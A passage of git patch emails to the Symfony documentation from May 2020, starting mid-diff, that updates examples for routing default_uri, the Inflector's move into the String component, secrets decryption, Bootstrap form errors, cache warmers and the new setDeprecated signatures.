+                default_uri: 'https://example.org/my/path/'
 
     .. code-block:: xml
 
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <!-- config/packages/routing.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <parameters>
-                <parameter key="router.request_context.host">example.org</parameter>
-                <parameter key="router.request_context.base_url">my/path</parameter>
-                <parameter key="asset.request_context.base_path">%router.request_context.base_url%</parameter>
-            </parameters>
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
+            <framework:config>
+                <framework:router default-uri="https://example.org/my/path/">
+                    <!-- ... -->
+                </framework:router>
+            </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/services.php
-        $container->setParameter('router.request_context.host', 'example.org');
-        $container->setParameter('router.request_context.base_url', 'my/path');
-        $container->setParameter('asset.request_context.base_path', $container->getParameter('router.request_context.base_url'));
+        // config/packages/routing.php
+        $container->loadFromExtension('framework', [
+            'router' => [
+                // ...
+                'default_uri' => "https://example.org/my/path/",
+            ],
+        ]);
+
+.. versionadded:: 5.1
+
+    The ``default_uri`` option was introduced in Symfony 5.1.
 
-This information can be configured per command too::
+Now you'll get the expected results when generating URLs in your commands::
 
     // src/Command/SomeCommand.php
     namespace App\Command;
@@ -2098,11 +2106,6 @@ This information can be configured per command too::
 
         protected function execute(InputInterface $input, OutputInterface $output)
         {
-            // these values override any global configuration
-            $context = $this->router->getContext();
-            $context->setHost('example.com');
-            $context->setBaseUrl('my/path');
-
             // generate a URL with no route arguments
             $signUpPage = $this->router->generate('sign_up');
 
@@ -2123,6 +2126,12 @@ This information can be configured per command too::
         }
     }
 
+.. note::
+
+    By default, the URLs generated for web assets use the same ``default_uri``
+    value, but you can change it with the ``asset.request_context.base_path``
+    and ``asset.request_context.secure`` container parameters.
+
 Checking if a Route Exists
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 6d951ecc990ce4ffd7203b4c6fbbf484b0fab3bd Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Fri, 15 May 2020 09:42:05 +0200
Subject: [PATCH 0717/7107] clarify empty string behavior without lower bound
 given

---
 reference/constraints/Length.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 22af53381a8..11ae53ae6b9 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -128,6 +128,10 @@ set to ``true``, empty strings are considered valid (which is the same behavior
 as previous Symfony versions). Set it to ``false`` to consider empty strings not
 valid.
 
+.. caution::
+
+    This option does not have any effect when no minimum length is given.
+
 charset
 ~~~~~~~
 

From dc76fa68f5def18f1e47287c05d0561bae1201ca Mon Sep 17 00:00:00 2001
From: Sylvain <sylfabre@users.noreply.github.com>
Date: Fri, 15 May 2020 19:56:04 +0200
Subject: [PATCH 0718/7107] Fix typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index a20578e9660..bb815485192 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1012,7 +1012,7 @@ stream_max_entries  The maximum number of entries which    ``0`` (which means "n
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~
 
-The ``in-memory`` transport does not actually delivery messages. Instead, it
+The ``in-memory`` transport does not actually deliver messages. Instead, it
 holds them in memory during the request, which can be useful for testing.
 For example, if you have an ``async_priority_normal`` transport, you could
 override it in the ``test`` environment to use this transport:

From 8a8e062a1b200741b13cdd765526b952c9436043 Mon Sep 17 00:00:00 2001
From: Sylvain <sylfabre@users.noreply.github.com>
Date: Fri, 15 May 2020 16:23:10 +0200
Subject: [PATCH 0719/7107] [Validator] Better documentation on the Bic
 constrain

---
 reference/constraints/Bic.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index e12aacbaf63..6b6f9bce3b5 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -4,7 +4,7 @@ Bic
 This constraint is used to ensure that a value has the proper format of a
 `Business Identifier Code (BIC)`_. BIC is an internationally agreed means to
 uniquely identify both financial and non-financial institutions. You may also
-check that the BIC is associated with a given IBAN.
+check that the BIC's country code is the same as a given IBAN's one.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
@@ -96,7 +96,7 @@ iban
 
     The ``iban`` option was introduced in Symfony 4.3.
 
-An IBAN value to validate that the BIC is associated with it.
+An IBAN value to validate that its country code is the same as the BIC's one.
 
 ibanMessage
 ~~~~~~~~~~~

From 495d2b0bf8f2c6159f8f43890c58fe62842db037 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 May 2020 17:31:14 +0200
Subject: [PATCH 0720/7107] [String] Deprecated the Inflector docs

---
 components/inflector.rst | 60 +++-------------------------------------
 components/string.rst    | 38 +++++++++++++++++++++++++
 2 files changed, 42 insertions(+), 56 deletions(-)

diff --git a/components/inflector.rst b/components/inflector.rst
index 5e9f4325884..c42d6ebaeaa 100644
--- a/components/inflector.rst
+++ b/components/inflector.rst
@@ -5,60 +5,8 @@
 The Inflector Component
 =======================
 
-    The Inflector component converts English words between their singular and
-    plural forms.
+.. deprecated:: 5.1
 
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/inflector
-
-.. include:: /components/require_autoload.rst.inc
-
-When you May Need an Inflector
-------------------------------
-
-In some scenarios such as code generation and code introspection, it's usually
-required to convert words from/to singular/plural. For example, if you need to
-know which property is associated with an *adder* method, you must convert from
-plural to singular (``addStories()`` method -> ``$story`` property).
-
-Although most human languages define simple pluralization rules, they also
-define lots of exceptions. For example, the general rule in English is to add an
-``s`` at the end of the word (``book`` -> ``books``) but there are lots of
-exceptions even for common words (``woman`` -> ``women``, ``life`` -> ``lives``,
-``news`` -> ``news``, ``radius`` -> ``radii``, etc.)
-
-This component abstracts all those pluralization rules so you can convert
-from/to singular/plural with confidence. However, due to the complexity of the
-human languages, this component only provides support for the English language.
-
-Usage
------
-
-The Inflector component provides two static methods to convert from/to
-singular/plural::
-
-    use Symfony\Component\Inflector\Inflector;
-
-    Inflector::singularize('alumni');   // 'alumnus'
-    Inflector::singularize('knives');   // 'knife'
-    Inflector::singularize('mice');     // 'mouse'
-
-    Inflector::pluralize('grandchild'); // 'grandchildren'
-    Inflector::pluralize('news');       // 'news'
-    Inflector::pluralize('bacterium');  // 'bacteria'
-
-Sometimes it's not possible to determine a unique singular/plural form for the
-given word. In those cases, the methods return an array with all the possible
-forms::
-
-    use Symfony\Component\Inflector\Inflector;
-
-    Inflector::singularize('indices'); // ['index', 'indix', 'indice']
-    Inflector::singularize('leaves');  // ['leaf', 'leave', 'leaff']
-
-    Inflector::pluralize('matrix');    // ['matricies', 'matrixes']
-    Inflector::pluralize('person');    // ['persons', 'people']
+    The Inflector component was deprecated in Symfony 5.1 and its code was moved
+    into the :doc:`String </components/string>` component.
+    :ref:`Read the new Inflector docs <string-inflector>`.
diff --git a/components/string.rst b/components/string.rst
index 24d83df2b88..3092ddfaa55 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -507,6 +507,44 @@ the injected slugger is the same as the request locale::
         }
     }
 
+.. _string-inflector:
+
+Inflector
+---------
+
+..versionadded:: 5.1
+
+    The inflector feature was introduced in Symfony 5.1.
+
+In some scenarios such as code generation and code introspection, you need to
+convert words from/to singular/plural. For example, to know the property
+associated with an *adder* method, you must convert from plural
+(``addStories()`` method) to singular (``$story`` property).
+
+Most human languages have simple pluralization rules, but at the same time they
+define lots of exceptions. For example, the general rule in English is to add an
+``s`` at the end of the word (``book`` -> ``books``) but there are lots of
+exceptions even for common words (``woman`` -> ``women``, ``life`` -> ``lives``,
+``news`` -> ``news``, ``radius`` -> ``radii``, etc.)
+
+This component provides an :class:`Symfony\\Component\\String\\Inflector\\EnglishInflector`
+class to convert English words from/to singular/plural with confidence::
+
+    use Symfony\Component\String\Inflector\EnglishInflector;
+
+    $inflector = new EnglishInflector();
+
+    $result = $inflector->singularize('teeth');   // ['tooth']
+    $result = $inflector->singularize('radii');   // ['radius']
+    $result = $inflector->singularize('leaves');  // ['leaf', 'leave', 'leaff']
+
+    $result = $inflector->pluralize('bacterium'); // ['bacteria']
+    $result = $inflector->pluralize('news');      // ['news']
+    $result = $inflector->pluralize('person');    // ['persons', 'people']
+
+The value returned by both methods is always an array because sometimes it's not
+possible to determine a unique singular/plural form for the given word.
+
 .. _`ASCII`: https://en.wikipedia.org/wiki/ASCII
 .. _`Unicode`: https://en.wikipedia.org/wiki/Unicode
 .. _`Code points`: https://en.wikipedia.org/wiki/Code_point

From ceff0fe87df3a08884b9fcaa96d56eee85cfc011 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 16 May 2020 10:34:33 +0200
Subject: [PATCH 0721/7107] Tweaked a help message about the ICU translation
 placeholders

---
 translation/message_format.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/translation/message_format.rst b/translation/message_format.rst
index a83a08215ac..5d1a5b63eec 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -73,9 +73,10 @@ The basic usage of the MessageFormat allows you to use placeholders (called
 
 .. caution::
 
-    With the previous format, placeholders were often named between ``%``. This
-    character is no longer valid with the ICU MessageFormat syntax. Be careful
-    to rename your parameters.
+    In the previous translation format, placeholders were often wrapped in ``%``
+    (e.g. ``%name%``). This ``%`` character is no longer valid with the ICU
+    MessageFormat syntax, so you must rename your parameters if you are upgrading
+    from the previous format.
 
 Everything within the curly braces (``{...}``) is processed by the formatter
 and replaced by its placeholder::

From 30febcfe5c2b2d7f91651ca18f41496b286b01c1 Mon Sep 17 00:00:00 2001
From: Wouter J <wouterj@users.noreply.github.com>
Date: Sat, 16 May 2020 12:13:03 +0200
Subject: [PATCH 0722/7107] Fixed syntax of versionadded directive

---
 components/string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index 3092ddfaa55..4a56c1d0b93 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -512,7 +512,7 @@ the injected slugger is the same as the request locale::
 Inflector
 ---------
 
-..versionadded:: 5.1
+.. versionadded:: 5.1
 
     The inflector feature was introduced in Symfony 5.1.
 

From dfb77fd2ebb501584212bb29f25b3725a9566528 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Sat, 16 May 2020 20:53:55 +0200
Subject: [PATCH 0723/7107] Remove unnecessary historic configuration: 'sudo:
 false'

I hope I did enough Googling. I really tried to find a reason to keep `sudo :false` in 2020 but it seems that it has no effect anymore.

I even tried to `sudo echo foo` during Travis' `install` phase and that works with and without `sudo: false`.

Docs: https://docs.travis-ci.com/user/reference/overview/#deprecated-virtualization-environments

Blog post stating "If you currently specify sudo: false in your .travis.yml, we recommend removing that configuration soon": https://blog.travis-ci.com/2018-11-19-required-linux-infrastructure-migration
---
 bundles/best_practices.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 3dcd90036dc..e80050e2fce 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -181,7 +181,7 @@ of Symfony and the latest beta release:
 .. code-block:: yaml
 
     language: php
-    sudo: false
+
     cache:
         directories:
             - $HOME/.composer/cache/files

From eca3b0f8dc1ca3bb1ccce82a317c15cb337de407 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 May 2020 08:28:04 +0200
Subject: [PATCH 0724/7107] Removed another sudo:false occurrence

---
 setup/bundles.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/setup/bundles.rst b/setup/bundles.rst
index 53104c6c9ba..e84bc4addb1 100644
--- a/setup/bundles.rst
+++ b/setup/bundles.rst
@@ -133,7 +133,6 @@ following recommended configuration as the starting point of your own configurat
 .. code-block:: yaml
 
     language: php
-    sudo: false
     php:
         - 5.3
         - 5.6

From 3b60ac0bbb544ca952be5fe2e1b8456c839edd14 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sa=C5=A1a=20Stamenkovi=C4=87?= <umpirsky@gmail.com>
Date: Thu, 14 May 2020 20:49:02 +0200
Subject: [PATCH 0725/7107] Custom User Checker, AuthenticationException is
 allowed

---
 security/user_checkers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index b0ebfeef56a..0e9a46f7b60 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -16,7 +16,7 @@ User checkers are classes that must implement the
 defines two methods called ``checkPreAuth()`` and ``checkPostAuth()`` to
 perform checks before and after user authentication. If one or more conditions
 are not met, an exception should be thrown which extends the
-:class:`Symfony\\Component\\Security\\Core\\Exception\\AccountStatusException`::
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccountStatusException`: or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`::
 
     namespace App\Security;
 

From 44dc8daad0b069aac062c63e430fbaeffebde486 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 May 2020 12:30:07 +0200
Subject: [PATCH 0726/7107] Minor tweak

---
 security/user_checkers.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 0e9a46f7b60..83e1dc0554b 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -16,7 +16,8 @@ User checkers are classes that must implement the
 defines two methods called ``checkPreAuth()`` and ``checkPostAuth()`` to
 perform checks before and after user authentication. If one or more conditions
 are not met, an exception should be thrown which extends the
-:class:`Symfony\\Component\\Security\\Core\\Exception\\AccountStatusException`: or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`::
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccountStatusException`
+or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`::
 
     namespace App\Security;
 

From 5b7712670e480ad88101b3f3c3211e8a16dbfcbf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 May 2020 12:48:09 +0200
Subject: [PATCH 0727/7107] Minor tweak

---
 configuration/secrets.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 7df64966bee..ad8f0bddeb9 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -243,12 +243,14 @@ The first option is to copy the **production decryption key** -
 2) Using an Environment Variable
 
 The second way is to set the ``SYMFONY_DECRYPTION_SECRET`` environment variable
-to the base64 encoded value of the **production decryption key**.
-A fancy way to define it is:
+to the base64 encoded value of the **production decryption key**. A fancy way to
+fetch the value of the key is:
 
 .. code-block:: terminal
 
-    $ export SYMFONY_DECRYPTION_SECRET=`php -r 'echo base64_encode(require "config/secrets/prod/prod.decrypt.private.php");'`
+    # this command only gets the value of the key; you must also set an env var
+    # in your system with this value (e.g. `export SYMFONY_DECRYPTION_SECRET=...`)
+    $ php -r 'echo base64_encode(require "config/secrets/prod/prod.decrypt.private.php");'
 
 To improve performance (i.e. avoid decrypting secrets at runtime), you can decrypt
 your secrets during deployment to the "local" vault:

From 78ce5484aff76273a43ba0eac83d03bb21d7cf39 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 7 May 2020 17:11:15 +0200
Subject: [PATCH 0728/7107] Update bootstrap4.rst

See https://github.com/symfony/symfony-docs/issues/13648

I splitted the "Labels and Errors" chapter into two: "Error Messages" and "Checkboxes and Radios"

If you merge this, I'll also add a caution box to https://symfony.com/doc/4.4/form/form_customization.html#form-label-form-view-label-variables and link to the new "Error Messages" heading here.
---
 form/bootstrap4.rst | 26 +++++++++++++++-----------
 1 file changed, 15 insertions(+), 11 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 57d6e944b8e..5b0acbf2aaf 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -77,6 +77,21 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
         {{ form(form) }}
     {% endblock %}
 
+Error Messages
+--------------
+
+Form errors are rendered **inside** the ``<label>`` element to make sure there
+is a strong connection between the error and its ``<input>``, as required by the
+`WCAG 2.0 standard`_. To achieve this, ``form_errors()`` is called by
+``form_label()`` internally. So you shouldn't use ``form_errors()`` at all; if you
+do, you'll get the error messages displayed *twice*.
+
+Checkboxes and Radios
+---------------------
+
+For a checkbox/radio field, calling ``form_label()`` doesn't render anything. Due to
+Bootstrap internals, the label is already rendered by ``form_widget()``.
+
 Accessibility
 -------------
 
@@ -100,16 +115,5 @@ and ``checkbox-custom`` respectively.
     {{ form_row(form.myRadio, {label_attr: {class: 'radio-custom'} }) }}
     {{ form_row(form.myCheckbox, {label_attr: {class: 'checkbox-custom'} }) }}
 
-Labels and Errors
------------------
-
-When you use the Bootstrap form themes and render the fields manually, calling
-``form_label()`` for a checkbox/radio field doesn't render anything. Due to Bootstrap
-internals, the label is already rendered by ``form_widget()``.
-
-Form errors are rendered **inside** the ``<label>`` element to make sure there
-is a strong connection between the error and its ``<input>``, as required by the
-`WCAG 2.0 standard`_.
-
 .. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
 .. _`custom forms`: https://getbootstrap.com/docs/4.4/components/forms/#custom-forms

From 63f48cbf36896a543490692422283a623547c999 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 May 2020 13:07:03 +0200
Subject: [PATCH 0729/7107] Minor tweak

---
 form/bootstrap4.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 5b0acbf2aaf..6a349fb33e1 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -83,14 +83,14 @@ Error Messages
 Form errors are rendered **inside** the ``<label>`` element to make sure there
 is a strong connection between the error and its ``<input>``, as required by the
 `WCAG 2.0 standard`_. To achieve this, ``form_errors()`` is called by
-``form_label()`` internally. So you shouldn't use ``form_errors()`` at all; if you
-do, you'll get the error messages displayed *twice*.
+``form_label()`` internally. If you call to ``form_errors()`` in your template,
+you'll get the error messages displayed *twice*.
 
 Checkboxes and Radios
 ---------------------
 
-For a checkbox/radio field, calling ``form_label()`` doesn't render anything. Due to
-Bootstrap internals, the label is already rendered by ``form_widget()``.
+For a checkbox/radio field, calling ``form_label()`` doesn't render anything.
+Due to Bootstrap internals, the label is already rendered by ``form_widget()``.
 
 Accessibility
 -------------

From a5d6e40c7dad58f69ce39c501561e3662e42a433 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Apr 2020 11:15:26 +0200
Subject: [PATCH 0730/7107] Document that cache warmers now must return an
 array of files to preload

---
 reference/dic_tags.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index d07716d296b..c65e0448c80 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -468,6 +468,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
     // src/Cache/MyCustomWarmer.php
     namespace App\Cache;
 
+    use App\Foo\Bar;
     use Symfony\Component\HttpKernel\CacheWarmer\CacheWarmerInterface;
 
     class MyCustomWarmer implements CacheWarmerInterface
@@ -475,6 +476,17 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
         public function warmUp($cacheDirectory)
         {
             // ... do some sort of operations to "warm" your cache
+
+            $filesAndClassesToPreload = [];
+            $filesAndClassesToPreload[] = Bar::class;
+
+            foreach (scandir($someCacheDir) as $file) {
+                if (!is_dir($file = $someCacheDir.'/'.$file)) {
+                    $filesAndClassesToPreload[] = $file;
+                }
+            }
+
+            return $filesAndClassesToPreload;
         }
 
         public function isOptional()
@@ -483,6 +495,16 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
         }
     }
 
+The ``warmUp()`` method must return an array with the files and classes to
+preload. Files must be absolute paths and classes must be fully-qualified class
+names. The only restriction is that files must be stored in the cache directory.
+If you don't need to preload anything, return an empty array
+
+.. deprecated:: 5.1
+
+    Not returning an array from the ``warmUp()`` method with the files to
+    preload is deprecated since Symfony 5.1.
+
 The ``isOptional()`` method should return true if it's possible to use the
 application without calling this cache warmer. In Symfony, optional warmers
 are always executed by default (you can change this by using the

From 82a44b2b7275b4924b6c482d223e6f56354e7c0e Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 11 Apr 2020 18:30:19 +0200
Subject: [PATCH 0731/7107] [OptionsResolver][Config][DI] Added package and
 version to deprecation features

---
 components/config/definition.rst    | 17 ++++++++++--
 components/options_resolver.rst     | 25 +++++++++++++----
 service_container/alias_private.rst | 43 ++++++++++++++++++++---------
 3 files changed, 63 insertions(+), 22 deletions(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index ae7f09a6530..ec51e8b6bd0 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -435,6 +435,13 @@ The following example shows these methods in practice::
 Deprecating the Option
 ----------------------
 
+.. versionadded:: 5.1
+
+    The signature of the ``setDeprecated()`` method changed from
+    ``setDeprecated(?string $message)`` to
+    ``setDeprecated(string $package, string $version, ?string $message)``
+    in Symfony 5.1.
+
 You can deprecate options using the
 :method:`Symfony\\Component\\Config\\Definition\\Builder\\NodeDefinition::setDeprecated`
 method::
@@ -443,11 +450,15 @@ method::
         ->children()
             ->integerNode('old_option')
                 // this outputs the following generic deprecation message:
-                // The child node "old_option" at path "..." is deprecated.
-                ->setDeprecated()
+                // Since acme/package 1.2: The child node "old_option" at path "..." is deprecated.
+                ->setDeprecated('acme/package', '1.2')
 
                 // you can also pass a custom deprecation message (%node% and %path% placeholders are available):
-                ->setDeprecated('The "%node%" option is deprecated. Use "new_config_option" instead.')
+                ->setDeprecated(
+                    'acme/package',
+                    '1.2',
+                    'The "%node%" option is deprecated. Use "new_config_option" instead.'
+                )
             ->end()
         ->end()
     ;
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 9c7d31d5813..45126fe9e3b 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -720,18 +720,31 @@ In same way, parent options can access to the nested options as normal arrays::
 Deprecating the Option
 ~~~~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.1
+
+    The signature of the ``setDeprecated()`` method changed from
+    ``setDeprecated(string $option, ?string $message)`` to
+    ``setDeprecated(string $option, string $package, string $version, ?string $message)``
+    in Symfony 5.1.
+
 Once an option is outdated or you decided not to maintain it anymore, you can
 deprecate it using the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setDeprecated`
 method::
 
     $resolver
         ->setDefined(['hostname', 'host'])
-        // this outputs the following generic deprecation message:
-        // The option "hostname" is deprecated.
-        ->setDeprecated('hostname')
 
-        // you can also pass a custom deprecation message
-        ->setDeprecated('hostname', 'The option "hostname" is deprecated, use "host" instead.')
+        // this outputs the following generic deprecation message:
+        // Since acme/package 1.2: The option "hostname" is deprecated.
+        ->setDeprecated('hostname', 'acme/package', '1.2')
+
+        // you can also pass a custom deprecation message (%name% placeholder is available)
+        ->setDeprecated(
+            'hostname',
+            'acme/package',
+            '1.2',
+            'The option "hostname" is deprecated, use "host" instead.'
+        )
     ;
 
 .. note::
@@ -756,7 +769,7 @@ the option::
         ->setDefault('encryption', null)
         ->setDefault('port', null)
         ->setAllowedTypes('port', ['null', 'int'])
-        ->setDeprecated('port', function (Options $options, $value) {
+        ->setDeprecated('port', 'acme/package', '1.2', function (Options $options, $value) {
             if (null === $value) {
                 return 'Passing "null" to option "port" is deprecated, pass an integer instead.';
             }
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index ffde46bfce6..c97fe5c82db 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -160,6 +160,12 @@ This means that when using the container directly, you can access the
 Deprecating Service Aliases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.1
+
+    The ``package`` and ``version`` options were introduced in Symfony 5.1.
+    Prior to 5.1, you had to use ``deprecated: true`` or
+    ``deprecated: 'Custom message'``.
+
 If you decide to deprecate the use of a service alias (because it is outdated
 or you decided not to maintain it anymore), you can deprecate its definition:
 
@@ -170,11 +176,17 @@ or you decided not to maintain it anymore), you can deprecate its definition:
         app.mailer:
             alias: '@App\Mail\PhpMailer'
 
-            # this will display a generic deprecation message...
-            deprecated: true
+            # this outputs the following generic deprecation message:
+            # Since acme/package 1.2: The "app.mailer" service is deprecated. You should stop using it, as it will be removed in the future
+            deprecated:
+                package: 'acme/package'
+                version: '1.2'
 
-            # ...but you can also define a custom deprecation message
-            deprecated: 'The "%alias_id%" alias is deprecated. Do not use it anymore.'
+            # you can also define a custom deprecation message (%sevice_id%/%alias_id% placeholder is available)
+            deprecated:
+                package: 'acme/package'
+                version: '1.2'
+                message: 'The "%alias_id%" alias is deprecated. Do not use it anymore.'
 
     .. code-block:: xml
 
@@ -185,11 +197,14 @@ or you decided not to maintain it anymore), you can deprecate its definition:
 
             <services>
                 <service id="app.mailer" alias="App\Mail\PhpMailer">
-                    <!-- this will display a generic deprecation message... -->
-                    <deprecated/>
-
-                    <!-- ...but you can also define a custom deprecation message -->
-                    <deprecated>The "%alias_id%" service alias is deprecated. Don't use it anymore.</deprecated>
+                    <!-- this outputs the following generic deprecation message:
+                         Since acme/package 1.2: The "app.mailer" service is deprecated. You should stop using it, as it will be removed in the future -->
+                    <deprecated package="acme/package" version="1.2"/>
+
+                    <!-- you can also define a custom deprecation message (%sevice_id%/%alias_id% placeholder is available) -->
+                    <deprecated package="acme/package" version="1.2">
+                        The "%alias_id%" service alias is deprecated. Don't use it anymore.
+                    </deprecated>
                 </service>
             </services>
         </container>
@@ -199,12 +214,14 @@ or you decided not to maintain it anymore), you can deprecate its definition:
         $container
             ->setAlias('app.mailer', 'App\Mail\PhpMailer')
 
-            // this will display a generic deprecation message...
-            ->setDeprecated(true)
+            // this outputs the following generic deprecation message:
+            // Since acme/package 1.2: The "app.mailer" service is deprecated. You should stop using it, as it will be removed in the future
+            ->setDeprecated('acme/package', '1.2')
 
-            // ...but you can also define a custom deprecation message
+            // you can also define a custom deprecation message (%sevice_id%/%alias_id% placeholder is available)
             ->setDeprecated(
-                true,
+                'acme/package',
+                '1.2',
                 'The "%alias_id%" service alias is deprecated. Don\'t use it anymore.'
             )
         ;

From 804aa55a933624785a147a2de0d343d8f924d6ff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 May 2020 13:42:22 +0200
Subject: [PATCH 0732/7107] Minor tweaks

---
 components/options_resolver.rst     |  2 +-
 service_container/alias_private.rst | 12 ++++++------
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 45126fe9e3b..075b42937a9 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -724,7 +724,7 @@ Deprecating the Option
 
     The signature of the ``setDeprecated()`` method changed from
     ``setDeprecated(string $option, ?string $message)`` to
-    ``setDeprecated(string $option, string $package, string $version, ?string $message)``
+    ``setDeprecated(string $option, string $package, string $version, $message)``
     in Symfony 5.1.
 
 Once an option is outdated or you decided not to maintain it anymore, you can
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index c97fe5c82db..39f2ae141bd 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -177,12 +177,12 @@ or you decided not to maintain it anymore), you can deprecate its definition:
             alias: '@App\Mail\PhpMailer'
 
             # this outputs the following generic deprecation message:
-            # Since acme/package 1.2: The "app.mailer" service is deprecated. You should stop using it, as it will be removed in the future
+            # Since acme/package 1.2: The "app.mailer" service alias is deprecated. You should stop using it, as it will be removed in the future
             deprecated:
                 package: 'acme/package'
                 version: '1.2'
 
-            # you can also define a custom deprecation message (%sevice_id%/%alias_id% placeholder is available)
+            # you can also define a custom deprecation message (%alias_id% placeholder is available)
             deprecated:
                 package: 'acme/package'
                 version: '1.2'
@@ -198,10 +198,10 @@ or you decided not to maintain it anymore), you can deprecate its definition:
             <services>
                 <service id="app.mailer" alias="App\Mail\PhpMailer">
                     <!-- this outputs the following generic deprecation message:
-                         Since acme/package 1.2: The "app.mailer" service is deprecated. You should stop using it, as it will be removed in the future -->
+                         Since acme/package 1.2: The "app.mailer" service alias is deprecated. You should stop using it, as it will be removed in the future -->
                     <deprecated package="acme/package" version="1.2"/>
 
-                    <!-- you can also define a custom deprecation message (%sevice_id%/%alias_id% placeholder is available) -->
+                    <!-- you can also define a custom deprecation message (%alias_id% placeholder is available) -->
                     <deprecated package="acme/package" version="1.2">
